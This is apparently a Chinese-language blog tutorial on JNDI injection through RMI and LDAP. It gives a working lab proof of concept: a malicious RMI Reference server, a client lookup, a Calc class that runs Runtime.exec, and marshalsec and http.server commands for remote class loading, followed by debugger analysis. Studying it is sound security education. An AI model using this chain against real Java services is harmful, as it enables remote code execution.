一文讀懂JNDI-RMI、LDAP注入分析
JNDI介紹
JNDI 的全稱是 Java Naming and Directory Interface (Java 命名和目錄接口 ),JNDI 提供統一的客戶端 API,通過不同的服務供應接口(SPI)的實現,由管理者將 JNDI API 映射為特定的命名服務和目錄服務,使得 JAVA 應用程可以通過 JNDI 實現和這些命名服務和目錄服務之間的交互。

SPI 全稱為 Service Provider Interface,即服務供應接口,主要作用是為底層的具體目錄服務提供統一接口,從而實現目錄服務的可插拔式安裝。在 JDK 中包含了下述內置的目錄服務:
LDAP、DNS、NIS、NDS、RMI、CORBA
在JNDI中提供了綁定和查找的方法:
- bind:將名稱綁定到對象中;
- lookup:通過名字檢索執行的對象;
下面從兩種服務來理解jndi注入。
RMI介紹
RMI 的全稱是 Rmote Method Invocation,遠程方法調用。具體實現的過程是:遠程服務器提供具體的類和方法,本地客戶端會通過某種方式獲得遠程類的一個代理,然后通過這個代理調用遠程對象的方法。方法的參數是通過序列化和反序列化的方式傳遞的。
本地客戶端獲取遠程類的代理的方式是,借助了 Registry (注冊中心)

其中 Server 和 Registry 可以放在同一個服務器上,也可以布置在不同的服務器上。
RMI 流程:
- Registry 首先啟動,并監聽一個端口,一般是1099
- Server 向 Registry 注冊遠程對象
- Client 從 REgistry 獲取遠程對象的代理
- Client 通過這個代理調用遠程對象的方法
- Server 端的代理接收到 Client 端調用的方法,參數,Server 端執行相對應的方法
- Server 端的代理將執行結果返回給 Client 端代理
JNDI之RMI
JDK版本為1.7.0_13
簡單看一段代碼
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目錄環境的一個引用 initialContext.lookup(uri);//獲取指定的遠程對象
}
這段代碼可以明顯看出來,要想實現jndi注入的利用只要在initialContext.lookup(uri)的位置實現uri可控就可以調用遠程惡意類實現RCE。
Server.java
服務端首先起一個注冊中心的端口1099,rmi服務默認端口為1099
package jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{ Registry registry= LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc", "Calc", "http://localhost/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc", wrapper);
}}
Client.java
package jndi;
import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception{ new InitialContext().lookup("rmi://localhost:1099/calc"); }}
惡意類Calc.java
import java.lang.Runtime;
public class Calc { public Calc() throws Exception{ Runtime.getRuntime().exec("calc"); }}

分析
debug調試服務端

服務端注冊中心起監聽端口1099,創建Refernence一個對象,Reference對象中指定從遠程加載構造的惡意Factory類,new對象的時候需要className,factory和factoryLocation,并將其綁定到RMI服務器上
debug啟動客戶端,F7跟進

在GenericURLContext類96行通過RMI服務查找名字為calc的stub

繼續向下跟進lookup,在RegistryContext類中該函數判斷var1和var2

這里89行的的var為建立socket連接時的遠程地址,在98行跟進RegistryContext類

在342行跟進到NamingManager類,繼續向下在getObjectInstance方法中獲取工廠類對象

在319行調用了getObjectFactoryFromReference方法,發現通過getObjectFactoryFromReference方法調用惡意類

繼續F7

首先會本地查找,獲取到codebase后遠程調用,見158行

在158行加載惡意類,在168行使用newInstance`方法實例化對象。到這里我們可以看到整個過程的調用棧為

JDK版本為1.8.0_202

在執行客戶端的時候報錯,由于此jdk版本的com.sun.jndi.rmi.object.trustURLCodebase 默認值為false,即不允許RMI遠程地址加載objectfactory類。
JNDI之LDAP
因為JNDI還可以對接LDAP服務,且LDAP也能返回Reference對象,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。
客戶端代碼client.java
package jndi;
import javax.naming.InitialContext;
public class Client { public static void main(String[] args) throws Exception{ new InitialContext().lookup("ldap://localhost:1389/Calc"); }}
python起web服務
python3 -m http.server 80

使用marshalsec啟動LDAP服務
java -cp C:\Users\Administrator\Desktop\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc
啟動客戶端,調用遠程惡意類


調用棧如下圖

基本上rmi調用棧一致,原理上沒有什么差別,都是基于lookup()方法可控。
彈出計算器

參考鏈接
https://blog.csdn.net/dupei/article/details/120534024
https://cloud.tencent.com/developer/article/1942500
https://blog.csdn.net/weixin_45682070/article/details/121888247?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&utm_relevant_index=8
https://xz.aliyun.com/t/7264